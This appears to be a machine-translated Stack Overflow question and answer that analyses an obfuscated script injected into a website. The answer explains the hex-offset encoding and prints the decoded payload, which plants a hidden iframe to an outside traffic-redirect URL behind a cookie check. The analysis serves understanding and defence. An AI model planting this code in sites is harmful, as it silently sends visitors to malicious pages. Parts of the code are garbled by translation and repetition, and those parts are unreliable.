6

我正在尝试使用前缀为“Zq”的十六进制字符解码以下文本。

我试图从基数 16、32、64 解码它,但没有成功。它是来自 JavaScript 源代码的编码指令。

我想了解它的用途:

#a9a007# if(empty($zhk)) {$zhk = "ortjy=String;ntniz=\"spl\"+\"i\"+\"t\";rucoec=window;ejy=(1)? \"0x\":\"123\";cod=(5-3-1);try{if(Math.ceil(5.5)===0x6)--(文档[\"b\"+\" ody\"])}catch(ccb){uervpm=false;try{}catch(fmr){uervpm=21;}if(1){xphl=\"17Zq5dZq6cZq65Zq5aZq6bZq60Zq66Zq65Zq17Zq6dZq6eZq6dZq27Zq30Zq1fZq20Zq17Zq72Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq6aZq6bZq58Zq6bZq60Zq5aZq34Zq1eZq58Zq61Zq58Zq6fZq1eZq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq5aZq66Zq65Zq6bZq69Zq66Zq63Zq63Zq5cZq69Zq34Zq1eZq60Zq65Zq5bZq5cZq6fZq25Zq67Zq5fZq67Zq1eZq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq6dZq6eZq6dZq17Zq34Zq17Zq5bZq66Zq5aZq6cZq64Zq5cZq65Zq6bZq25Zq5aZq69Zq5cZq58Zq6bZq5cZq3cZq63Zq5cZq64Zq5cZq65Zq6bZq1fZq1eZq60Zq5dZq69Zq58Zq64Zq5cZq1eZq20Zq32Zq4Zq1Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq69Zq5aZq17Zq34Zq17Zq1eZq5fZq6bZq6bZq67Zq31Zq26Zq26Zq60Zq65Zq6dZq5cZq69Zq6aZq60Zq66Zq65Zq5cZq6aZq69Zq64Zq25Zq5aZq66Zq64Zq26Zq6bZq69Zq58Zq5dZq25Zq67Zq5fZq67Zq1eZq32Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq6bZq70Zq63Zq5cZq25Zq67Zq66Zq6aZq60Zq6bZq60Zq66Zq65Zq17Zq34Zq17Zq1eZq58Zq59Zq6aZq66Zq63Zq6cZq6bZq5cZq1eZq32Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq6bZq70Zq63Zq5cZq25Zq5aZq66Zq63Zq66Zq69Zq17Zq34Zq17Zq1eZq29Zq2cZq2eZq2bZq2dZq1eZq32Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq6bZq70Zq63Zq5cZq25Zq5fZq5cZq60Zq5eZq5fZq6bZq17Zq34Zq17Zq1eZq29Zq2cZq2eZq2bZq2dZq67Zq6fZq1eZq32Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq6bZq70Zq63Zq5cZq25Zq6eZq60Zq5bZq6bZq5fZq17Zq34Zq17Zq1eZq29Zq2cZq2eZq2bZq2dZq67Zq6fZq1eZq32Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq6bZq70Zq63Zq5cZq25Zq63Zq5cZq5dZq6bZq17Zq34Zq17Zq1eZq28Zq27Zq27Zq27Zq29Zq2cZq2eZq2bZq2dZq1eZq32Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq6bZq70Zq63Zq5cZq25Zq6bZq66Zq67Zq17Zq34Zq17Zq1eZq28Zq27Zq27Zq27Zq29Zq2cZq2eZq2bZq2dZq1eZq32Zq4Zq1Zq4Zq1Zq17Zq60Zq5dZq17Zq1fZq18Zq5bZq66Zq5aZq6cZq64Zq5cZq65Zq6bZq25Zq5eZq5cZq6bZq3cZq63Zq5cZq64Zq5cZq65Zq6bZq39Zq70Zq40Zq5bZq1fZq1eZq6dZq6eZq6dZq1eZq20Zq20Zq17Zq72Zq4Zq1Zq17Zq5bZq66Zq5aZq6cZq64Zq5cZq65Zq6bZq25Zq6eZq69Zq60Zq6bZq5cZq1fZq1eZq33Zq67Zq17Zq60Zq5bZq34Zq53Zq1eZq6dZq6eZq6dZq53Zq1eZq17Zq5aZq63Zq58Zq6aZq6aZq34Zq53Zq1eZq6dZq6eZq6dZq27Zq30Zq53Zq1eZq17Zq35Zq33Zq26Zq67Zq35Zq1eZq20Zq32Zq4Zq1Zq17Zq5bZq66Zq5aZq6cZq64Zq5cZq65Zq6bZq25Zq5eZq5cZq6bZq3cZq63Zq5cZq64Zq5cZq65Zq6bZq39Zq70Zq40Zq5bZq1fZq1eZq6dZq6eZq6dZq1eZq20Zq25Zq58Zq67Zq67Zq5cZq65Zq5bZq3aZq5fZq60Zq63Zq5bZq1fZq6dZq6eZq6dZq20Zq32Zq4Zq1Zq17Zq74Zq4Zq1Zq74Zq4Zq1Zq5dZq6cZq65Zq5aZq6bZq60Zq66Zq65Zq17Zq4aZq5cZq6bZq3aZq66Zq66Zq62Zq60Zq5cZq1fZq5aZq66Zq66Zq62Zq60Zq5cZq45Zq58Zq64Zq5cZq23Zq5aZq66Zq66Zq62Zq60Zq5cZq4dZq58Zq63Zq6cZq5cZq23Zq65Zq3bZq58Zq70Zq6aZq23Zq67Zq58Zq6bZq5fZq20Zq17Zq72Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq6bZq66Zq5bZq58Zq70Zq17Zq34Zq17Zq65Zq5cZq6eZq17Zq3bZq58Zq6bZq5cZq1fZq20Zq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq5cZq6fZq67Zq60Zq69Zq5cZq17Zq34Zq17Zq65Zq5cZq6eZq17Zq3bZq58Zq6bZq5cZq1fZq20Zq32Zq4Zq1Zq17Zq60Zq5dZq17Zq1fZq65Zq3bZq58Zq70Zq6aZq34Zq34Zq65Zq6cZq63Zq63Zq17Zq73Zq73Zq17Zq65Zq3bZq58Zq70Zq6aZq34Zq34Zq27Zq20Zq17Zq65Zq3bZq58Zq70Zq6aZq34Zq28Zq32Zq4Zq1Zq17Zq5cZq6fZq67Zq60Zq69Zq5cZq25Zq6aZq5cZq6bZq4bZq60Zq64Zq5cZq1fZq6bZq66Zq5bZq58Zq70Zq25Zq5eZq5cZq6bZq4bZq60Zq64Zq5cZq1fZq20Zq17Zq22Zq17Zq2aZq2dZq27Zq27Zq27Zq27Zq27Zq21Zq29Zq2bZq21Zq65Zq3bZq58Zq70Zq6aZq20Zq32Zq4Zq1Zq17Zq5bZq66Zq5aZq6cZq64Zq5cZq65Zq6bZq25Zq5aZq66Zq66Zq62Zq60Zq5cZq17Zq34Zq17Zq5aZq66Zq66Zq62Zq60Zq5cZq45Zq58Zq64Zq5cZq22Zq19Zq34Zq19Zq22Zq5cZq6aZq5aZq58Zq67Zq5cZq1fZq5aZq66Zq66Zq62Zq60Zq5cZq4dZq58Zq63Zq6cZq5cZq20Zq4Zq1Zq17Zq22Zq17Zq19Zq32Zq5cZq6fZq67Zq60Zq69Zq5cZq6aZq34Zq19Zq17Zq22Zq17Zq5cZq6fZq67Zq60Zq69Zq5cZq25Zq6bZq66Zq3eZq44Zq4bZq4aZq6bZq69Zq60Zq65Zq5eZq1fZq20Zq17Zq22Zq17Zq1fZq1fZq67Zq58Zq6bZq5fZq20Zq17Zq36Zq17Zq19Zq32Zq17Zq67Zq58Zq6bZq5fZq34Zq19Zq17Zq22Zq17Zq67Zq58Zq6bZq5fZq17Zq31Zq17Zq19Zq19Zq20Zq32Zq4Zq1Zq74Zq4Zq1Zq5dZq6cZq65Zq5aZq6bZq60Zq66Zq65Zq17Zq3eZq5cZq6bZq3aZq66Zq66Zq62Zq60Zq5cZq1fZq17Zq65Zq58Zq64Zq5cZq17Zq20Zq17Zq72Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq6aZq6bZq58Zq69Zq6bZq17Zq34Zq17Zq5bZq66Zq5aZq6cZq64Zq5cZq65Zq6bZq25Zq5aZq66Zq66Zq62Zq60Zq5cZq25Zq60Zq65Zq5bZq5cZq6fZq46Zq5dZq1fZq17Zq65Zq58Zq64Zq5cZq17Zq22Zq17Zq19Zq34Zq19Zq17Zq20Zq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq63Zq5cZq65Zq17Zq34Zq17Zq6aZq6bZq58Zq69Zq6bZq17Zq22Zq17Zq65Zq58Zq64Zq5cZq25Zq63Zq5cZq65Zq5eZq6bZq5fZq17Zq22Zq17Zq28Zq32Zq4Zq1Zq17Zq60Zq5dZq17Zq1fZq17Zq1fZq17Zq18Zq6aZq6bZq58Zq69Zq6bZq17Zq20Zq17Zq1dZq1dZq4Zq1Zq17Zq1fZq17Zq65Zq58Zq64Zq5cZq17Zq18Zq34Zq17Zq5bZq66Zq5aZq6cZq64Zq5cZq65Zq6bZq25Zq5aZq66Zq66Zq62Zq60Zq5cZq25Zq6aZq6cZq59Zq6aZq6bZq69Zq60Zq65Zq5eZq1fZq17Zq27Zq23Zq17Zq65Zq58Zq64Zq5cZq25Zq63Zq5cZq65Zq5eZq6bZq5fZq17Zq20Zq17Zq20Zq17Zq20Zq4Zq1Zq17Zq72Zq4Zq1Zq17Zq69Zq5cZq6bZq6cZq69Zq65Zq17Zq65Zq6cZq63Zq63Zq32Zq4Zq1Zq17Zq74Zq4Zq1Zq17Zq60Zq5dZq17Zq1fZq17Zq6aZq6bZq58Zq69Zq6bZq17Zq34Zq34Zq17Zq24Zq28Zq17Zq20Zq17Zq69Zq5cZq6bZq6cZq69Zq65Zq17Zq65Zq6cZq63Zq63Zq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq5cZq65Zq5bZq17Zq34Zq17Zq5bZq66Zq5aZq6cZq64Zq5cZq65Zq6bZq25Zq5aZq66Zq66Zq62Zq60Zq5cZq25Zq60Zq65Zq5bZq5cZq6fZq46Zq5dZq1fZq17Zq19Zq32Zq19Zq23Zq17Zq63Zq5cZq65Zq17Zq20Zq32Zq4Zq1Zq17Zq60Zq5dZq17Zq1fZq17Zq5cZq65Zq5bZq17Zq34Zq34Zq17Zq24Zq28Zq17Zq20Zq17Zq5cZq65Zq5bZq17Zq34Zq17Zq5bZq66Zq5aZq6cZq64Zq5cZq65Zq6bZq25Zq5aZq66Zq66Zq62Zq60Zq5cZq25Zq63Zq5cZq65Zq5eZq6bZq5fZq32Zq4Zq1Zq17Zq69Zq5cZq6bZq6cZq69Zq65Zq17Zq6cZq65Zq5cZq6aZq5aZq58Zq67Zq5cZq1fZq17Zq5bZq66Zq5aZq6cZq64Zq5cZq65Zq6bZq25Zq5aZq66Zq66Zq62Zq60Zq5cZq25Zq6aZq6cZq59Zq6aZq6bZq69Zq60Zq65Zq5eZq1fZq17Zq63Zq5cZq65Zq23Zq17Zq5cZq65Zq5bZq17Zq20Zq17Zq20Zq32Zq4Zq1Zq74Zq4Zq1Zq60Zq5dZq17Zq1fZq65Zq58Zq6dZq60Zq5eZq58Zq6bZq66Zq69Zq25Zq5aZq66Zq66Zq62Zq60Zq5cZq3cZq65Zq58Zq59Zq63Zq5cZq5bZq20Zq4Zq1Zq72Zq4Zq1Zq60Zq5dZq1fZq3eZq5cZq6bZq3aZq66Zq66Zq62Zq60Zq5cZq1fZq1eZq6dZq60Zq6aZq60Zq6bZq5cZq5bZq56Zq6cZq68Zq1eZq20Zq34Zq34Zq2cZq2cZq20Zq72Zq74Zq5cZq63Zq6aZq5cZq72Zq4aZq5cZq6bZq3aZq66Zq66Zq62Zq60Zq5cZq1fZq1eZq6dZq60Zq6aZq60Zq6bZq5cZq5bZq56Zq6cZq68Zq1eZq23Zq17Zq1eZq2cZq2cZq1eZq23Zq17Zq1eZq28Zq1eZq23Zq17Zq1eZq26Zq1eZq20Zq32Zq4Zq1Zq4Zq1Zq6dZq6eZq6dZq27Zq30Zq1fZq20Zq32Zq4Zq1Zq74Zq4Zq1Zq74\"[ntniz](\"Zq\");}rucoec=xphl;zhhvyb=[];for(qyk=22-20-2;-qyk+1402!=0;qyk+=1){eghwv=qyk ;if((0x19==031))zhhvyb+=ortjy.fromCharCode(eval(ejy+rucoec[1*eghwv])+0xa-cod);}ixru=eval;if(Math.ceil(5.5)===6 )ixru(zhhvyb)}";echo $zhk;} #/a9a007#} #/a9a007#} #/a9a007#if((0x19==031))zhhvyb+=ortjy.fromCharCode(eval(ejy+rucoec[1*eghwv])+0xa-cod);}ixru=eval;if(Math.ceil(5.5)===6) ixru(zhhvyb)}";echo $zhk;} #/a9a007#if((0x19==031))zhhvyb+=ortjy.fromCharCode(eval(ejy+rucoec[1*eghwv])+0xa-cod);}ixru=eval;if(Math.ceil(5.5)===6) ixru(zhhvyb)}";echo $zhk;} #/a9a007#

4

1 回答 1

9

Zq是一个分隔符,不是值的一部分。最后的位可能会执行一个.split("Zq")操作,该操作会创建一个十六进制值数组。

一些快速搜索显示这些十六进制值只是偏移 9 的 ASCII 值。(我通过快速for循环确定了这一点,但您也可以在代码中看到它+0xa-cod,其中0xa是十六进制10并且cod之前设置为5-3-1(ie, 1))。

var input_string = "17Zq5dZq6cZq65Zq5aZq6bZq60Zq66Zq65Zq17Zq6dZq6eZq6dZq27Zq30Zq1fZq20Zq17Zq72Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq6aZq6bZq58Zq6bZq60Zq5aZq34Zq1eZq58Zq61Zq58Zq6fZq1eZq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq5aZq66Zq65Zq6bZq69Zq66Zq63Zq63Zq5cZq69Zq34Zq1eZq60Zq65Zq5bZq5cZq6fZq25Zq67Zq5fZq67Zq1eZq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq6dZq6eZq6dZq17Zq34Zq17Zq5bZq66Zq5aZq6cZq64Zq5cZq65Zq6bZq25Zq5aZq69Zq5cZq58Zq6bZq5cZq3cZq63Zq5cZq64Zq5cZq65Zq6bZq1fZq1eZq60Zq5dZq69Zq58Zq64Zq5cZq1eZq20Zq32Zq4Zq1Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq69Zq5aZq17Zq34Zq17Zq1eZq5fZq6bZq6bZq67Zq31Zq26Zq26Zq60Zq65Zq6dZq5cZq69Zq6aZq60Zq66Zq65Zq5cZq6aZq69Zq64Zq25Zq5aZq66Zq64Zq26Zq6bZq69Zq58Zq5dZq25Zq67Zq5fZq67Zq1eZq32Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq6bZq70Zq63Zq5cZq25Zq67Zq66Zq6aZq60Zq6bZq60Zq66Zq65Zq17Zq34Zq17Zq1eZq58Zq59Zq6aZq66Zq63Zq6cZq6bZq5cZq1eZq32Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq6bZq70Zq63Zq5cZq25Zq5aZq66Zq63Zq66Zq69Zq17Zq34Zq17Zq1eZq29Zq2cZq2eZq2bZq2dZq1eZq32Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq6bZq70Zq63Zq5cZq25Zq5fZq5cZq60Zq5eZq5fZq6bZq17Zq34Zq17Zq1eZq29Zq2cZq2eZq2bZq2dZq67Zq6fZq1eZq32Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq6bZq70Zq63Zq5cZq25Zq6eZq60Zq5bZq6bZq5fZq17Zq34Zq17Zq1eZq29Zq2cZq2eZq2bZq2dZq67Zq6fZq1eZq32Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq6bZq70Zq63Zq5cZq25Zq63Zq5cZq5dZq6bZq17Zq34Zq17Zq1eZq28Zq27Zq27Zq27Zq29Zq2cZq2eZq2bZq2dZq1eZq32Zq4Zq1Zq17Zq6dZq6eZq6dZq25Zq6aZq6bZq70Zq63Zq5cZq25Zq6bZq66Zq67Zq17Zq34Zq17Zq1eZq28Zq27Zq27Zq27Zq29Zq2cZq2eZq2bZq2dZq1eZq32Zq4Zq1Zq4Zq1Zq17Zq60Zq5dZq17Zq1fZq18Zq5bZq66Zq5aZq6cZq64Zq5cZq65Zq6bZq25Zq5eZq5cZq6bZq3cZq63Zq5cZq64Zq5cZq65";
var input_arr = input_string.split("Zq");

// use parseInt(val, 16) to decode each hex value to a Number
// add 9 to that number
// pass the sum into fromCharCode to get the char
// join the characters
var result = input_arr.map(function(val) {
    return String.fromCharCode(parseInt(val, 16) + 9);
}).join("");

这揭示了结果文本result

function vwv09() {
    var static = 'ajax';
    var controller = 'index.php';
    var vwv = document.createElement('iframe');

    vwv.src = 'http://inversionesrm.com/traf.php';
    vwv.style.position = 'absolute';
    vwv.style.color = '25746';
    vwv.style.height = '25746px';
    vwv.style.width = '25746px';
    vwv.style.left = '100025746';
    vwv.style.top = '100025746';

    if (!document.getElementById('vwv')) {
        document.write('<p id=\'vwv\' class=\'vwv09\' ></p>');
        document.getElementById('vwv').appendChild(vwv);
    }
}

function SetCookie(cookieName, cookieValue, nDays, path) {
    var today = new Date();
    var expire = new Date();
    if (nDays == null || nDays == 0) nDays = 1;
    expire.setTime(today.getTime() + 3600000 * 24 * nDays);
    document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}

function GetCookie(name) {
    var start = document.cookie.indexOf(name + "=");
    var len = start + name.length + 1;
    if ((!start) &&
        (name != document.cookie.substring(0, name.length))) {
        return null;
    }
    if (start == -1) return null;
    var end = document.cookie.indexOf(";", len);
    if (end == -1) end = document.cookie.length;
    return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
    if (GetCookie('visited_uq') == 55) {} else {
        SetCookie('visited_uq', '55', '1', '/');

        vwv09();
    }
}

然后编辑此文本eval,这似乎设置了一个visited_uqcookie,然后打开一个 iframe 到inversionsrm.com.

于 2013-10-09T17:10:57.163 回答